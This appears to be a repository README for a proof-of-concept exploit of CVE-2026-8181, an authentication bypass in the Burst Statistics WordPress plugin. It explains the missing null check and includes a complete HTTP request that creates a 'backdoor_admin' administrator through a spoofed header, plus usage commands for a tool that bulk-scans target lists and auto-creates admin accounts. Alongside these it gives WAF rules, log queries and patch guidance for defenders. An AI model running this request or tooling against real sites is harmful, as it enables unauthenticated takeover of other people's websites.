
Python PoC for CVE-2026-8181, a critical authentication bypass in Burst Statistics WordPress plugin. Includes exploit automation, bulk scanning, and admin account creation for authorized security testing.
[!CAUTION] CRITICAL ALERT: This vulnerability allows an unauthenticated remote attacker to bypass authentication and gain full Administrator privileges on the target WordPress site by simply injecting a custom HTTP header. This CVE is currently being actively exploited in the wild.
CVE-2026-8181 is a critical authentication bypass vulnerability affecting the Burst Statistics WordPress plugin (versions 3.4.0 through 3.4.1.1). The flaw resides in the plugin's MainWP proxy integration. Due to improper validation of application passwords during the early plugins_loaded hook, the plugin incorrectly grants administrative context to REST API requests that include the X-BurstMainWP: 1 header, even if the request lacks valid credentials.
This transforms a simple, unauthenticated HTTP request into a full administrative takeover, bypassing all standard WordPress authentication mechanisms.
To understand how a simple header grants the keys to the kingdom, we must dissect the PHP logic inside the plugin's authentication handler.
The vulnerability stems from a mishandled conditional branch in includes/Frontend/class-mainwp-proxy.php within the is_mainwp_authenticated() method.
init() on plugins_loaded at priority 9. This is too early in the WordPress lifecycle.X-BurstMainWP: 1, has_admin_access() delegates authentication to is_mainwp_authenticated().Authorization header and forwards the credentials to WordPress core's wp_authenticate_application_password().application_password_is_api_request filter to true (due to the early hook execution), the core function returns null instead of a WP_Error object.// Simplified representation of the vulnerable code in Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // Correctly handles explicit authentication failures
}
// 🚨 THE FATAL FLAW 🚨
// If no application password is provided or API request isn't flagged yet,
// wp_authenticate_application_password returns NULL.
// The code fails to check for NULL!
if ( $user === null ) {
// Instead of failing securely, it falls through to this unsafe branch:
$admin_user = get_user_by( 'login', $attacker_supplied_username );
wp_set_current_user( $admin_user->ID ); // BOOM: Admin context granted!
return true;
}
This section is for Red Teamers and Authorized Penetration Testers.
/wp-content/plugins/burst-statistics/readme.txt).GET /wp-json/wp/v2/users. If blocked, use the author archive trick: /?author=1.POST /wp-json/wp/v2/users.X-BurstMainWP: 1Authorization: Basic <base64(admin_username:fake_password)>null check, and promotes the request to Admin context. The new admin user is created.POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "[email protected]",
"roles": ["administrator"]
}
[!IMPORTANT] Environmental Caveat: This exploit requires the
Authorizationheader to reach PHP.
- Nginx / LiteSpeed / Apache with Pretty Permalinks: Header is forwarded. Exploit SUCCEEDS.
- Apache with Plain Permalinks (Default): Header is silently stripped by the web server. Exploit FAILS.
This section is for Blue Teamers, SOC Analysts, and System Administrators.
Block or monitor the specific header at the edge.
ModSecurity / OWASP CRS Rule:
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Burst Statistics Auth Bypass Attempt', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
Cloudflare WAF Custom Rule:
(http.request.headers["X-BurstMainWP"] eq "1")
Search your web server logs for the presence of the header combined with REST API user creation.
Splunk / ELK Query:
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
If you suspect a breach, look for these post-exploitation artifacts:
wp_users table for users created via REST API with the administrator role.wp-content/plugins/ for unauthorized uploads (often webshells disguised as legitimate plugins).wp-content/themes/ or core files.[!IMPORTANT] Immediate Action Required: If you are running a vulnerable version, apply one of the following mitigations immediately.
This repository includes CVE-2026-8181.py, a Python automation tool to verify the vulnerability in authorized lab environments.
# 1. Install dependencies
pip3 install requests urllib3
# 2. Single Site Recon & Auto-Provision New Admin
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k
# 3. Bulk Scan with Combined Success File
python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k
# 4. Bulk Scan with Individual Host Reports
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k
[!WARNING] FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.
The information provided in this repository is for educational purposes, security research, and authorized penetration testing. Exploiting vulnerabilities against systems without explicit, written permission from the system owner is illegal and violates international cyber laws.
The authors and contributors of this repository assume no liability and are not responsible for any misuse, damages, or legal consequences arising from the use of this tool or information. Always hack responsibly and ethically.
is_wp_error( $user ). Since null is not a WP_Error, the guard passes.wp_set_current_user() using the attacker-supplied username, instantly elevating the request to full admin context.| Priority | Action | Details |
|---|
| P0 | Patch the Plugin | Update Burst Statistics to version 3.4.2 or higher immediately via the WordPress dashboard. |
| P1 | WAF Virtual Patching | If you cannot patch immediately, deploy the WAF rules (above) to block the X-BurstMainWP header. |
| P2 | Restrict User Enumeration | Use a security plugin or .htaccess rules to block public access to /wp-json/wp/v2/users and /?author=*. |
| P3 | Audit Users & Files | Run a script to audit recently created administrator accounts and revoke any unauthorized access. Scan for webshells. |
| Feature | Description |
|---|
| 🎯 Single Target | Scan a specific site using the -u flag. |
| 📦 Bulk Operations | Feed a list of targets via -f targets.txt (supports # for comments). |
| ⚡ Concurrency | Speed up bulk scans with threaded workers (-j N). |
| 💾 Smart Output | -o file.txt for a combined report. In bulk mode, only successful exploits are logged. |
| 📂 Per-Host Dumps | Use --output-dir to save individual .txt files for each compromised host. |
| 👤 Admin Creation | Pass --create-user to automatically provision a new administrator account via the REST API. |
| 🔓 Lab TLS | Use -k to ignore SSL certificate errors (strictly for local/trusted lab environments). |